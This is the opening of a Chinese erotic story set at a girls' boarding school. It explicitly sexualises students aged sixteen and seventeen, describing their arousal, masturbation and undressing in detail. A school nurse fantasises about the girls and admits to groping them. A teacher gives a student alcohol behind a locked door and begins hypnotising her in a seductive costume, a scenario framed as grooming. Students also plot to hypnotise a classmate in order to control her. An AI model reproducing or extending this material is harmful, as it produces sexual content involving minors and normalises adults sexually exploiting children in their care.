图片载入中

女子高中

特大字】 【大字】 【中字】 【小字

第一章

“十七岁的青春岁月只能在全是女生的学校度过真是糟透了,是吧?”

她身旁的每个人都用力的点着头,虽然没有说话,不过显然都很认同她的说法。

“我们周遭一个男孩都没有,不管什么时候身旁就只有这些人,老师随时都盯着我们,这太不公平了!我是说,我们都已经算是大人了,对不对?”

身旁的人又一次点头称是着。

“这太过分了,他们什么时候才肯放我们出去看看这个世界,我们不要过着这样与世隔绝的生活,我们自己在外面可以很快乐的,对不对?”

第三次,女孩们又由衷的点着头,仿佛她们唯一能做的只有在美琪说话的时后不断表示同意。

美琪生气的摇着头,然后从包包里拿出香烟点着,深深的吸了一口,她得很努力的忍着才能让自己不被烟呛到,可是这感觉很酷,无论如何,她都必须要表现的很酷,也是这样,这些女孩才会跟在她的身边,大家都以她为榜样,希望能有她的美丽、有她那一头乌黑的长发、有那么高挑而苗窕的身材、有一对丰满而坚挺的乳房,希望能成为校园里最酷的女孩。

美琪又摇了摇头,熄掉了手上的烟,才吸了几口她已经感到有点作呕了,不过她想让大家觉得她会抽烟而且她很享受抽烟,这让她显得和其他的女孩很不同,然后她觉得该散会了。

女孩们正打算离开厕所,准备回到教室,但当她们走到厕所门口的时候,门突然打了开来,直接打到了最前面那个女孩的脸,他往后一跌倒在了美琪的身上,美琪也跌倒了,然后她站了起来。

“是谁干的!”美琪生气的喊着,她觉得她应该要喊出更有魄力的话来表达她的感觉,可是那种话她还是说不太出口,而且对面说不定是个老师,除了刚才被撞到而倒在地上的小莉之外,其他的人都围在美琪的身边,好像想壮大自己的声势一样。

汤雅萍走了进来,带着有点不安的表情,就某个程度而言,雅萍算是美琪的对手,尽管她们看来是那样的不同,雅萍在班上的成绩相当优异,运动也很不错,而美琪所有的成绩都不行,雅萍有着很健康的古铜色肌肤,美琪的皮肤则有点近乎苍白的白皙,其实最大的不同点是,美琪一直把雅萍当成是对手,但雅萍只觉得美琪是个不相干的坏女孩而已。

“你为什么这么做?”美琪对她喊着,她手插着腰斜倚着墙壁,一只脚翘了起来,一副咄咄逼人的样子。

雅萍没有回答,走到了被她撞倒的小莉身边,然后她才回头用有点鄙视的眼神看着美琪。

“我在找你,玉珍老师问我你在哪里,我说你大概在洗手间吧。”

“你没有说我在抽烟吧?”美琪问着,事实上她有点希望自己被抓到,这么她就可以停止这种恶心的行为了。

“当然没有,你快点去找她吧,在她还没有生气之前。”雅萍说着。

“喔……”美琪说着,看着其他的女孩子,故意挑高了音调说着,“玉珍老太太生气了,我好怕喔……”她笑了一声,“拜托,我看她连一只老鼠都吓不跑,她怕我还差不多。”

“玉珍老师很年轻,而且她还单身,美琪,她是一个很好的老师,”美琪不屑的转了转眼珠,但并没有打断她,“我劝你最好现在马上去找她,你已经拖太久了。”

“是吗?那你要做什么?”美琪说着。

“我会带小莉到保健室。”雅萍说着,然后扶着小莉站了起来走出了洗手间,美琪试着想对其他的女孩说些什么来讽刺她,但是她只有喃喃自语的说了声‘她妈的!’,然后她和其他的女孩一起回到了教室。

雅萍和小莉一起走向保健室,她一点也不急,难得有这种机会可以合法的翘课,老师也不会生气,雅萍是个所有老师都喜欢的好学生,她从来没有惹过麻烦,而且在学校的运动会上和社团活动中都很出锋头,学生们也几乎都很喜欢她,她对每个人都很亲切,她在生气的时候也可以很可怕,所以大家都知道当她的朋友要比当她的敌人容易的多,而且她帮助朋友时相当慷慨。

雅萍大概160公分高,有一双黑白分明的大眼睛,很健康的体型,她因为日渐丰满的胸部感到很烦恼,那对她而言很不方便,特别是在体育竞赛的时候,但她也发现她的乳头有一种……很奇特的感受。

她爸爸是个外交官,妈妈是泰国人,她妈妈可不是普通的泰国新娘,她比她父亲要富有的多,因为她娘家让她继承了一笔很可观的遗产,雅萍听说她外公是从事一些地下的交易,详情她也不清楚,只知道他过世之后,妈妈得到了很多的遗产。

比美琪小一点,雅萍快满十七岁了,她成长的愈来愈美丽,但是没有人知道,甚至连她自己也不知道,她也已经到了叛逆期。

大约是几个月前,她做了一个梦,梦里头的她,正在参加学校的集会,她身上什么也没穿,而且她一点也不觉得尴尬,但是每个人都注意到她了,连校长也盯着她看,校长命令她离开去穿上衣服,她只好站了起来回到了寝室,她和另外五个女孩一起共用的房间,然后她发现,美琪在房间里面等她,美琪看到了她之后,就走了过来深深的吻着她的唇,就像雅萍在电影里看到的那样,只是她从没看过两个女孩的,那个吻让她感到身体沸腾了起来,然后她就在那个时候醒了过来。

醒过来后,她发现自己一只手正在抚摸自己的乳头,虽然天气并不冷,但是她的乳头却敏感的竖立着,而她的另一只手在下面……寝室里的另一个女孩醒了过来,她说她听到了雅萍的叫声,雅萍只说她做了一个恶梦,但其实那并不是恶梦……那是……很棒的……从那时起,雅萍就有时会感到身体有一种无以言喻的空虚,然后她就会将自己的手伸进下体隐私的部位,她不知道自己为什么会这样,只知道自己愈来愈常有这种感觉。

她现在并没有这种感觉,小莉向前倾着,试着不让血滴到身上的制服,她们身上的制服是一件灰色的裙子,天蓝色的衬衫,还有一件蓝色的背心,背心并不一定要穿,但是今年的春天格外的冷,尽管小莉尽力了,她的衣服上还是沾了血,她叫嚷着头晕,然后她们终于到了保健室。

保健室的护士是一位很可爱的小姐,好像是医学院还在实习的学生,她问她们说发生什么事情,当她听到雅萍是肇事者的时候显的很讶异,怎么可能会是雅萍,她是那么好的学生,她心中想着,雅萍一定是无辜的,她稍微处理过小莉的伤口之后,让雅萍陪着她,然后离开去准备一些东西。

雅萍和小莉两个人坐在保健室里,雅萍第一次仔细的看着小莉,她突然很讶异自己以前竟然从没注意过她,她比她高大概十公分,留着一头长到腰部的直发,雅萍想着,她几乎比学校里所有的女孩都高,为什么总要站在美琪的背后呢?

她的一双眼眸感觉相当的柔和,有一对细长的眉毛,她的脸上很有技巧的化着淡妆,让她精致的五官更加的诱人,尽管她额头上贴着一快沾着血迹的纱布,也无法遮掩她美丽的面貌,雅萍一直看着她,直到小莉转过头来看着她,她们突然四目交接着,然后她们一起移开了目光,沉默了一下,又突然一起开口说着:

“对不起,我……”

“你不用道歉,是我……”

她们一起停了下来,看了看彼此,又移开了目光,然后咯咯笑着。

“真的很对不起,我开门撞到了你。”雅萍说着。

“没关系,”小莉说着,“你也不是故意的,你甚至不知道我们在不在里面。”

“其实我知道,”雅萍说着,“我在外面就听见了你们的声音。”

“喔。”雅萍突然意识到她这么说好像是在说她就是故意要撞小莉的。

“喔,不是的!”她叫了出来,“我并没有想要撞到任何人,我只是想要这样……用力一点开门……让自己感觉有气势一点……”她的脸红了起来,“呃……对不起……?”

“没关系啦,”小莉说着,微笑着,“是我们不对。”

她们对彼此笑着,过了一段时间,雅萍才又开了口。

“嗯,我想说一些事,我希望你不要生气。”

“当一个人说出会让人生气的事情之前都会这么说的。”小莉说着,严肃的看着雅萍。

“我知道,可是我真的很想问你……你为什么要和美琪混在一起?我的意思是,她总是在做那些不守规矩或偷偷摸摸的事情,而且她抽烟后身上那个味道……!每个老师都要我……要我……去和她谈这件事情!我只是想知道你怎么会想待在她身边?”雅萍咬着下嘴唇看着她,小莉看着别的地方耸了耸肩,过了一段时间后才回答。

“我想我就是喜欢她,因为她是我的朋友。”

“喔,我明白了。”雅萍说着,很庆幸她们没有就这样吵了起来,她希望这个话题可以到这里就中止了。

“我不知道,好像,她的一些地方让我很喜欢……”雅萍想像着她说的一些地方,感到身体几乎颤抖了起来。

“什么意思?”她问着,试着压抑住心中燃起的火焰。

“怎么说……我可以整天都看着她,你知道吗?她的每个动作,她头发飘扬的模样,她的笑声……我不知道,那感觉好奇怪。”

小莉看着雅萍的眼睛,她的表情相当的认真,雅萍赶到下体一种空虚感又开始蔓延着,一种莫名的欲望让她想……抚摸自己的身体,想要按摩自己的胸部还有……最私密的部位,就像那晚她醒来一样,雅萍努力的想压抑自己心中的欲望,她想听更多小莉所谓‘奇怪’的感觉。

“小莉,当你看着美琪……”

“好了,女孩们!”护士小姐走了进来,打断了她们的对话,然后很熟练的包扎好小莉的伤口。

“这样就可以了,小莉,”她说着,“接着一两个礼拜的户外课我都要你来这里休息,你可别啰哩吧唆的,你很快就会好的,只要你不要再拿头去撞门就好,”小莉看着护士,然后告诉她她感到有点头晕,“喔,这个啊,你不用太担心,”护士轻快的说着,“这只是因为刚才撞击的原因,应该很快就会恢复的,好了,你们可以离开啦。”她们一起走出去,都不经意的避开了对方的目光,然后护士又在身后叫住了她们。

“等一下,女孩们,你们这堂课也只剩下十分钟了,我看小莉应该先去换件上衣,雅萍,你可以帮她啊,”护士眨了眨眼,好像很高兴自己成为她们翘课的帮凶,“你们午餐前都不用回教室啦,我会帮你们解释的。”她笑了笑,然后拍了下她们的屁股说她们可以走了,两个女孩看了看彼此,心里都想着刚才聊到一半的事情,但都没有想到对方也有一样的想法。

她们往小莉的寝室走去,护士小姐一直看着她们,直到她们消失在走廊尽头的转角,“天啊,这些女孩太容易让人想入非非了!”她想着,然后在心里暗骂着自己,如果让别人发现她的性向的话,她这份工作一定会不保的,但是她身边的女孩都这么的年轻美丽,她想着,这些在寄宿学校里的女孩一定都未经人事,她好希望自己可以带领这些正经历青春期的女孩去享受人生的奥妙。

“啊,”她想着,“最好是能驾驭这些女孩。”但是她知道这只能幻想而已,她所能做的,只有偷偷拍拍她们的臀部,或是假装不经意的触碰到它们的乳房。

小莉带着雅萍回到了她的寝室,她也同样是五个女孩同住一间房间,其中一个就是美琪,另外几个也都是‘美琪帮’的成员,她们一路上一句话也没有说,两人都在想着对方在想什么,雅萍觉得小莉并没有刻意的加快步伐,这代表她不讨厌和她在一起,只不过不知道该说些什么,她自己也有一样的感觉。

“我想我该走了。”雅萍说着,虽然她并不想走。

“你不用离开啊,”小莉很快的回答,“我只要换掉这件背心,不会太久的,然后我们可以一起在下课的最后几分钟前回到教室。”她脱掉了背心,那一瞬间,雅萍看到了不经意露出的肚脐,那看起来好柔软、好纤细、让人好想去触碰,小莉脱掉背心之后,发现自己的衬衫也沾上了血。

“喔,天啊!我想我连衬衫也得换掉。”

“喔,这样,”雅萍清声说着,虽然她的心中早已热血澎湃,“我先到外面去一下。”她站了起来。

“不要,”小莉叫了出来,有点不必要的大声,她避开了目光然后小声的说着,“我只是换衬衫而已,用不了几秒钟的。”接着她就转过身解开了上衣的钮扣,让衬衫从肩膀上滑了下来,雅萍无法自己的盯着小莉裸露的背部,她好想要触碰她。

雅萍觉得自己好奇怪,她感到心中像是有一股火冒了出来,而且这股火很显然是因为小莉而产生的,突然间她注意到小莉正从镜子里看着她,然后她将衬衫落到了地上转过身面对着她,用双手抱住了胸部。

小莉戴着蓝色的丝质胸罩,比起一般的学生相当的大胆,尽管她用双手环抱着,但是仍然遮掩不住丰满的胸部,好像在招唤着雅萍,可是雅萍觉得自己无法动弹,她心中的火焰炙热的让她几乎快瘫痪了,她好像被绑住了一样,她感到双腿之间异样的潮湿着,一种空虚麻痒的感觉,她动了动双脚想去压抑这种感觉,但是体内的火焰只是愈烧愈烈。

小莉只是看着雅萍,但是雅萍发现她似乎也颤抖着,她突然觉得也许小莉有和她一样的感觉,小莉看着她,慢慢的放下了手,小莉的胸部十分的丰满,透过那件蓝色的胸罩,雅萍也可以看到她黝黑而竖立的乳头似乎快挣脱出来似的。

雅萍感到自己的乳头也硬了起来,而且感觉相当的美妙,她想要按摩自己的胸部,她相信小莉现在也有和她一样的欲望,她想要站起来朝她走去,突然小莉张大了眼睛,然后雅萍也听到走廊传来了脚步声和女孩们聊天的声音,当她一转头门就被打了开来,然后美琪和她的伙伴们走了进来。

美琪停下了说到一半的话,生气的看着她们,她看着她最讨厌的人在她的寝室里,而她的朋友半裸着,急忙的捡起衬衫遮住自己。

“你们……”美琪试着找寻最有力的话语,“到底在做什么?”

雅萍看了看小莉,然后站了起来看着美琪,她刚才心中燃烧的感觉已经完全消失了,但是双腿间仍然黏答答的,虽然已经不再有滚烫的感觉了。

“我陪着小莉回来这里换衣服,因为刚才制服上沾了血。”她用着很有自信的语调说着,让人完全猜不到她刚才经历的感觉,但是美琪仍然是一附愤怒的表情,似乎并不认同她的话。

“护士刚才对我们说,因为她还有一点头晕,所以要我陪她一起过来。”雅萍暗自庆幸着刚才护士有说过这样的话,她没有什么说谎的经验,这给了她一个很好的理由。

美琪听完之后,无所谓的摇了摇头,雅萍本来要离开了,但是突然有一种想报复的感觉。

“美琪,”她说着,“刚才那堂课怎么样?”她窃笑着,她想这一定会让美琪感到不舒服,因为她们光明正大的翘课了,美琪却必须再那里坐上一个小时。

“事实上,”美琪冷笑着回答着,“还蛮有趣的。”

“真的吗?”雅萍挑衅的问着。

“真的啊,”美琪继续说着,“玉珍婆婆让我们看录影带,是一个催眠表演的带子。”

“是吗?”雅萍问着,懊恼着自己的攻击完全没有击中对方。

“是啊,”美琪看到雅萍失望的模样,不怀好意的笑着,“真的很有趣,只要拿一个怀表或是什么的,在一个人的眼前晃啊晃,要他们睡着,然后你就可以控制他们了,真是太酷了。”

“什么?”雅萍不以为然的说着,“你只要拿一个怀表晃啊晃,就可以让别人睡着,然后控制他们,这样啊。”

“是真的,”小莉穿好了衣服,在一旁说着,所有人都看向了她,“我父母去年圣诞节带我去看过催眠秀,那个人在观众里随便的挑了一些人,他不知道拿出什么东西要他们专心的看着,接着他们就好像什么都忘了,他让他们以为自己是牧场里的动物还有很多有趣的东西!”她想起了当时的场景咯咯的笑着,让房间里剑拔弩张的气氛缓和了不少。

“你看,”美琪说着,得意洋洋的看着雅萍,“我说是真的吧,你还是赶快离开这里去扮演你那个人见人爱的好学生吧。”

所有的女孩都笑出了声,雅萍沉下了脸,她得承认他输了,她第一次想报复那个女孩就被彻底的反击了,她转过身在所有女孩的嘲笑声中走出了她们的寝室,不,并不是全部,她有看到小莉很忧虑的看着她。

雅萍走去午餐,大约十分钟后,那些女孩也过来了,她们故意坐在她的附近,让她可以听到她们对她的嘲笑,雅萍午餐只吃了一半就受不了的离开了,离开前,她听到美琪在小莉的耳边说着:

“小莉,再告诉我一些有关催眠术的事情。”

第二章

雅萍快步的往学生餐厅走去,现在是早餐时间,其他的女孩们都慢慢的走着,抱怨着为什么要那么早起床,但是雅萍有一个特别的理由让她比其他人都早,明天就是她的十七岁生日,她希望那里有信件正在等着她。

果然如此,她收到好几封各种颜色的信封,上面都要她在生日那天才可以拆开它,雅萍微笑着,看着信封上的邮票,有叔叔阿姨们从泰国寄来的,她的父母从香港寄来的,还有同在台湾的亲戚们寄来的。

送到学校的信件都是按收件人的姓名排好的,雅萍不经意的看到了美琪也有信件,她的位置刚好在她的旁边,她很惊讶她的信件竟然比她还多,她知道美琪的父母几乎每天都会给她写信,而且美琪好像在外面有男朋友也常会给她写信,可是这里有大约十几封信耶,‘真是奇怪。’她想着,然后走到了自己的位置上,等着其他的女孩和老师们过来。

美琪大概在五分钟后走了进来,身上带着一种特殊的傲气,校长进来后在台上说话,然后大家坐了下来,美琪坐在雅萍的旁边,整理着收到的信,两个女孩好像看不到对方一样,然后美琪开始拆开了信件。

“喔,大家看,”她叫着,“爸爸给了我五千元的支票让我买鞋子,真是个好爸爸!”雅萍在一旁觉得很吃味,如果她所有的生日礼物有那一半的价值就足以让她惊喜了,接着美琪又拆了其他的信件,展示着各式各样的礼物,雅萍终于受不了了。

“你到底为什么收到礼物?”

美琪没有生气,有点轻视的看着她。

“为什么,雅萍,”她装着很温柔的语调的说着,“这是爱我的人送给我的,为什么,你怎么庆祝你的生日?解些特别的方程式吗?还是写一篇特别的作文?”虽然美琪在调侃她,可是雅萍却吃惊的忘了生气。

“什么意思?这是你的生日礼物?”

“不是今天,亲爱的,”美琪说着,仍然用着甜的发腻的温柔语气,“这些信太早到了,我明天铁定会收到更多的。”

“你是说明天是你的生日?”雅萍愈来愈讶异。

“不是,我的生日还有三百六十六天。”美琪觉得自己的回答很幽默,她期待着大家的笑声,但是并没有,只看到一个跳级就读的十四岁女孩偷偷的笑着,她看着她。

“依洁,告诉我,有什么好笑的?”

依洁低下了头,然后一旁的女孩说着,“我记得每二十三个人就会发生这种事情。”

“发生什么事情?”美琪问着,声音急躁了起来,“你们……到底在说些什么?”

“她们是说,”雅萍说着,“你和我是同一天生日。”

随后美琪收到了周末禁足的通知,校长不喜欢有人在早餐时大声喧哗,特别是对着学校里最好的学生,原本她收到父亲的钱高兴的很,但是当第一堂课看到了雅萍的时候,她的心情又差了起来。

雅萍想现在美琪无论做什么她也不会讶异,她只要当作没看到她就好了,她对着身边的人微笑着,想装做没有事情,但是她心里却烦杂的很,她从来没有被一个人讨厌过,当然她和美琪从来没有好过,但她从不觉得美琪真的很讨厌她,虽然有时候她的话很刺耳。

雅萍觉得很不安,突然间,她觉得自己好孤独,作为学校里成绩最好的学生,女排的队长,她似乎很受欢迎,但是她觉得没有人可以让她吐露心事,没有一个让她足以信任的人,简单说,她没有任何朋友,事实上,每个女孩都很喜欢找她谈话,但是她想要的是一个能真正让她信任的,让她可以倾诉她最近那种奇怪感觉的朋友,美琪让她这种孤单的感觉不断的涌现起来。

现在是玉珍老师的课,她又准备了电视和录影机,女孩们都很高兴可以度过轻松的一节课,雅萍却想起自己上次错过的带子而懊恼起来。

“同学们,又来到礼拜四了。”玉珍老师的声音很小、很轻,她是一个很娇小的女人,一头卷发和她常穿的羊毛衫让她看来比实际年龄老了十岁,她那件毛衣真的是老气到不行,又带着那副金框眼镜,看起来像老鼠和猫头鹰的合体。

而且她有着很严重的近视,没有眼镜就像瞎了一样,即使是带着眼镜,她走路时也总是小心的弯着腰,那副模样实在很难让人相信她只有二十八岁,但是无论如何,她是个很好的老师,不只是在她中国文学的范畴上,她也总是会给学生很多善意的建议,而且很为学生着想,她认为如果学生一周来的表现很不错,那么在每个礼拜的最后一堂就应该给大家轻松一点。

“这个月初的时候,我让你们看了一场催眠秀的前半段。”台下开始鼓噪了起来,好几个女孩窃窃私语着,雅萍觉得很懊恼,她没有看过这个录影带,不知道这些女孩到底在期待什么。

“现在我们来看接下来的部分,我倒回了五分钟让你们大家回忆一下上次已经播到了哪里。”玉珍老师站到了旁边,微笑着,让她看起来年轻了不少,雅萍突然觉得,在那件糟透了的毛衣和眼镜下的玉珍老师其实也是很可爱的,只要她可以多笑一点,大家都会发现的。

雅萍也发现美琪对这堂课出奇的感兴趣,最近她常在图书馆理看到美琪,这对以往的她根本是不可能的,雅萍偷偷的注意着她,发现她看的是关于催眠术的书,雅萍曾经觉得很可笑,但她现在发现美琪的表情不只是好奇,而是几乎带着侵略性的。

玉珍老师开始播放带子,根据同学的反应,那应该非常有趣,可是雅萍一点也不感兴趣,她只是一直注意着美琪,她到底对什么这么感兴趣,美琪完全没有笑,她一直盯着萤幕的某个角落,好像在寻找着什么、或是谁。

雅萍也转过头看着萤幕,这时镜头正扫过了观众,突然间雅萍认出了一个人,浑身颤抖了起来,小莉坐在看起来像是她父母的人的中间,没有其他人注意到她,因为镜头只在带着观众的时候扫过了几秒钟,但是她确实在那里,而且她坐的很挺,和平常懒散的样子不太一样,而且好像紧闭着双眼,镜头立刻又回到了舞台,上面有很多自愿者,看起来都像小莉刚才的样子一样。

催眠师命令舞台上的人站起来,这时镜头换到了另一个角度,可以在角落看到观众,雅萍讶异的看到其中有一个人好像试着要站起来,雅萍不是非常确定,但是那个人好像就是小莉,接着催眠师要舞台上的人坐下,舞台上的人随即坐了下来,而那个好像小莉的人也一样。

然后催眠师对观众说着他等一下要让这些自愿者做些什么表演,雅萍转过头看了看美琪,她坐在她的位置上,脸上带着有点邪气的笑容,好像她已经找到了她所期待的东西一样。

接下来的影片雅萍看的很模煳,她一直想着美琪为什么会有那种表情?那个观众席中的人真的是小莉吗?她被催眠了吗?她可以再被催眠吗?突然雅萍又感到身体颤动了一下,她希望能成为催眠她的那个人。

雅萍一整个上午都过的恍恍惚惚的,她可以确定美琪一定是认为小莉在那场催眠秀中被催眠了,小莉不是有说过她的父母带她去看催眠秀吗?也是这样美琪才会去看催眠的书的,但是她到底想做什么?

当雅萍在吃午餐的时候,她身边很多人,但是她没有和任何人说话,她一直在想着她该采取什么行动,第一件事,她想再看一次那个带子,她并不是想去确认那个人是不是小莉,或是她有没有站起来,甚至是她有没有被催眠,看完带子什么也不能确定,但是美琪似乎从带子里确认了什么,她想找出它。

下午,雅萍计画好去打排球,她换上了短裤和衣服,来到了练习室,女排是这个学校的女孩们唯一热衷的运动,这是个以升学为主的学校,大部分的学生都没有什么运动天分,除了因为校长要求,大家都学了柔道用以自保,雅萍在柔道方面的表现更是优异,因为她从小就学了一点基本的武术。

雅萍看着她的队友们,都是和她一样年轻、很结实而可爱的女孩,她们的上衣都因为被汗水浸湿而显得有点透明,穿着很短的紧身裤,雅萍心中突然扬起一种很奇特的感觉,第一次,她怀疑自己也许是个同性恋。

在练习的时候,因为扑救一颗球,雅萍和队友撞在一起,她的队友的手刚好压着她的臀部,雅萍感到浑身一阵颤抖。

因为下起了雨,练习草草的结束了,雅萍一个人待着,她觉得好空虚,她了解那种感觉,就算她不是同性恋,她也确实对女人有着……性欲,那和同性恋不是一样?她觉得自己比以前更孤单了,她看过一些女同性恋的书,但是她从来没有想过自己也会那样,她终于了解了自己这些日子来怪异的感觉,可是没有人可以帮助她。

她想要去找小莉然后……怎么样?告诉她?亲她?抚摸她?如果运气好的话,她不会告诉别人的,不行!她不要让任何人知道,她不要告诉任何人,即使是她的父母和亲戚也一样,反正她们什么也不能帮她,雅萍觉得眼眶湿润了起来,无法自己的啜泣着,她感到彻底的无助与徬徨,突然从外面传来了敲门的声音。

“雅萍,是你吗?”玉珍老师细细的声音传了进来,“你没事吧?”

雅萍站了起来,赶紧擦干了泪水,走过去开门,玉珍老师站在她的面前,还是穿着那件羊毛衫。

“雅萍,怎么了?发生了什么事情?”

雅萍试着要微笑,但泪水又不争气的流了下来,她啜泣的告诉她是因为练习中止了,玉珍老师微笑着,伸出手温柔的搭着她的肩膀。

“雅萍,我不认为你会因为少了一次的练习哭的这么伤心,告诉我,到底发生了什么事情?”玉珍老师等着她的回答,但雅萍一直没有说话,“我知道你离家很远,你的生日又要到了,我也知道美琪对你说了一些很过分的话,我有发现你在课堂上一直显得不太专心……”玉珍老师继续说着,但雅萍并没有听进去,她脑海里不断翻转着:美琪、催眠术、录影带!如果美琪是知道了催眠小莉的方法,那么她一样也可以!

这么一来,她就可以没有风险的问小莉对她有什么感觉,影片中的催眠师是不是说了什么?但是那个人真的是小莉吗?她又怎么催眠她?

雅萍擦干了眼泪,这次她真的止住了泪水,她看着玉珍老师的微笑,也对她微笑着,玉珍老师知道她已经恢复了,但是她还不打算让她走。

“雅萍,你可以来我的房间,我们好好聊一聊。”雅萍笑了笑表示同意。

“跟我过来,我相信一切都会更好的。”

雅萍看着老师的房间,那里并不大,有一张双人床,一个办公桌和两张椅子,一些储藏柜和一个衣橱,墙壁上贴着一些电影海报和照片,让这个房间显得很家庭化,地上和桌上都有着学生的考卷,床上有着没折好的衣服,桌上也有还留着饮料残渣的咖啡杯。

“这里很乱,真不好意思,”玉珍老师道歉着,“只有有其他人要来我才会想整理。”她清出了两个座位,然后和雅萍一起坐了下来,“现在,可以告诉我你真正的烦恼吗?”

“没什么,”雅萍说着,“我想我是太想家了,就这样。”这虽然不是事实,但雅萍想这也是让她如此伤心的原因之一,玉珍老师点点头,然后安慰般的握起她的手。

“一个人离家这么久是很困难的,特别是在这种特别的日子,这好像只会提起你的思念,”她停了一下,“我说怎么样,要不要和我喝点酒?晚餐前你没有什么重要的事情吧?”

雅萍很讶异,玉珍老师本来就偶尔会邀请学生到她的房里,但是含酒精的饮料在学校里是被禁止的,就和抽烟一样,但是雅萍觉得这也不坏,她是应该要得到点什么。

“好的,玉珍老师,如果可以的话。”老师微笑着站了起来,走到储藏柜拿出了一灌葡萄酒和两个杯子,她打开了酒倒满了杯子,一杯自己拿着,一杯递给了雅萍。

“干杯,”她说着,“祝你找回以前的快乐,雅萍。”

雅萍微笑着,轻轻的敲了下老师的杯子。

“谢谢玉珍老师。”她说着。

“雅萍,别这样,”老师说着,“叫我玉珍就好,如果你认为我是你的朋友的话。”

雅萍微笑着,喝了一小口酒,感到很温暖而润口,却紧接着一股刺口的辣味,雅萍其实不会喝酒,也几乎没喝过酒,所以她想这应该是正常的,她愉快的又喝了一口,因为这是被禁止的行为,这让她更加的想要挑战,她们就这么静静的坐着,直到雅萍决定问她有关于录影带的事情。

“玉珍老师……”她说着,但当她发现玉珍瞪了她一眼随即停了下来,“对不起……玉珍……我对今天课堂上看的带子感到很好奇,我上次错过了前半段,不知道你可不可把录影带借我。”这是个很合理的理由,而且一点也不会透露出雅萍想看带子真正的原因,但是玉珍却好奇的看着她,好像知道雅萍在企图着什么。

“好啊,”她终于回答着,“如果你想看的话当然可以……可是我想你要在这里看,休息室那边又没有录影机,”雅萍竟然没有想过她怎么去看这卷带子,她想要一个人看,但是她哪有办法一个人弄到电视和录影机,玉珍用着疑问的眼神看着她。

“告诉我,雅萍,你为什么想要看这卷带子。”

“那个,”她拼命的想要说一些合情合理的理由,“我看到那些人做了那些动作,很好奇他们是怎么被催眠的。”这应该还可以,但是玉珍仍然用着很怀疑的眼神看着她,‘也许她知道我真正的目的!’雅萍突然这么想着,然后玉珍又开口说着:

“如果你想更了解催眠术,”她说着,“最好的方法是亲自去体验它,”雅萍奇怪的看着玉珍,这是什么意思?然后她继续说着,“如果你想要了解催眠复杂的技巧的话,你应该要自己尝试看看。”

雅萍感到很讶异,玉珍老师的意思是说她懂得催眠吗?玉珍看着她疑惑的表情,站了起来,将酒瓶收了起来,然后看着雅萍的眼睛说着:

“我当然不是要你出去随便催眠别人,最好的方法就是让我催眠你,然后告诉你我是怎么办到的,让你从自己的体验中去学习。”

雅萍讶异的说不出话,她甚至还不相信催眠!舞台上的人也许全是在演戏也说不定啊,但是那个很像小莉的人也和台上的人一样被催眠了,所以说这不会是骗人的,但是雅萍又有了其他的忧虑,为什么玉珍要教她催眠术?也许她有其他的……隐藏的目的,该怎么做呢?

“好的,”她考虑了一段时间后说着,“请你……催眠我来教我催眠,玉珍。”

“太好了,雅萍。”玉珍的表情整个亮了起来,看来她真的很想要催眠雅萍,雅萍又犹豫了起来,但是当玉珍冷静了下来,露出了温和的微笑,雅萍感到她的担心又烟消云散了。

“什么时候?”雅萍问着,希望有几个礼拜的时间可以再考虑一下。

“就现在吧,你应该没有什么事情吧?我也刚好没有工作。”

雅萍咬了咬嘴唇,事情发展的太快了,但现在她已经无法脱身了,而且她也很希望自己能这样学会催眠。

“好啊,”她说着,“来吧。”

第三章

“我会拿着一个东西在你面前要你看着。”玉珍老师的声音很冷静,一点都不像平常有点神经质的感觉,她继续说着:

“当你专心的看着它的时候,我会对你说话,如果顺利的话,我就会引导你进入催眠状态,你会记得所有的事情,当我叫醒你之后,你会记得所有的过程。”

玉珍将椅子移到雅萍的面前,她现在仍然觉得自己怎么会那么快就被说服了,老师关上了窗帘,然后关上了所有的灯,只留着一盏台灯,她甚至还锁上了门,房间里很温暖,但雅萍却有点发着抖,她不知道接着会发生什么事,她问玉珍她对催眠的经历。

“我第一次读到催眠,是大学时在一本小说看到的,”她回答着,“我对书中的描写相当的好奇,然后我开始研究催眠,我看了很多书,然后找了一个人让我试验。”她说着,眼睛看向了远方。

“那个人是谁?”雅萍问着。

“喔……没什么,只是个朋友。”玉珍似乎有点脸红,雅萍也没有再追问下去。

“总之,当我看了很多书,找了很多人催眠之后,我已经可以很熟练的引导一个人进入催眠状态,就是现在我要教你的方法。”她说完,然后转身走进了浴室,雅萍听到她脱衣服的声音,‘她到底要干嘛?’雅萍在心中想着,然后玉珍终于走了出来,回到了雅萍对面坐着。

她的那件羊毛衫和金框眼镜都不在了,取而代之的是一件低胸的无袖宽松睡衣,一件皮制的迷你裙,而且她还化了妆,这个转变太异常了,雅萍面前是一个豪放而诱人的女人,和平常那个畏缩的、只会穿着老气毛衣的老师完全不同,鲜红的口红和她脸上的粉底让她看起来像是瓷器般的无瑕,雅萍讶异的看着她,正想问她为什么要扮成这个样子,但是她就说话了,她的声音很平顺、缓慢、低沉而且有一种……和以前不同的邪恶。

“当一个人要催眠某人,她必须要完全吸引到她的注意,你必须要一出场就完全吸引住她的目光,让你自己就像她潜意识想像中的催眠师一样。”雅萍从来没想过催眠师该是什么样子,这种说法让她觉得很可笑,但是如果非要她现在想像出催眠师的模样,也许不会和玉珍老师现在的模样相去太远。

“你要让她注意到你,而且只有你,所以你必须关掉灯光,避免镜子或是音乐,任何会吸引注意的东西,最好让房间温暖一点,这可以让身体更加的平静而放松。”雅萍记得当她一进来,就觉得这个房间特别温暖,她也注意到房间里没有任何镜子或是音响,这对于一个女人来说是很奇怪的,又一次,雅萍感到玉珍老师也许是早就有企图的,然后她又继续说着:

“可以的话,被催眠的人也要穿的尽量轻松一点,让自己可以好好放松,最好不要在激烈运动刚结束后,被催眠的人最好认识你,而且信任你,最好的状况是,她平常就必须听从你,就像是员工和老板一样,你要让被催眠的人好好坐着看着你要她注意的东西,要让催眠成功,你要去引导她,而不是强迫她做什么,你要引领她的潜意识醒来,让她的心灵沉静下去,你无法强迫任何人进入催眠状态,你只能让她相信她屈服在你的意志下,这是很容易的,只要当她的心智有一点糢煳的时候。”

雅萍想着她的运动服应该算是很轻松的了,但是她却宁愿自己穿的更拘束一点,事情正在发生着,玉珍老师穿成这个模样对她谈论着催眠,这让她感到害怕,虽然她尽量不表现出来,她想着玉珍老师说的话:员工和老板?那不是就像学生和老师一样?雅萍觉得自己愈来愈不想当被催眠的对象,但是当她想开口说些什么的时候,玉珍老师又继续说着:

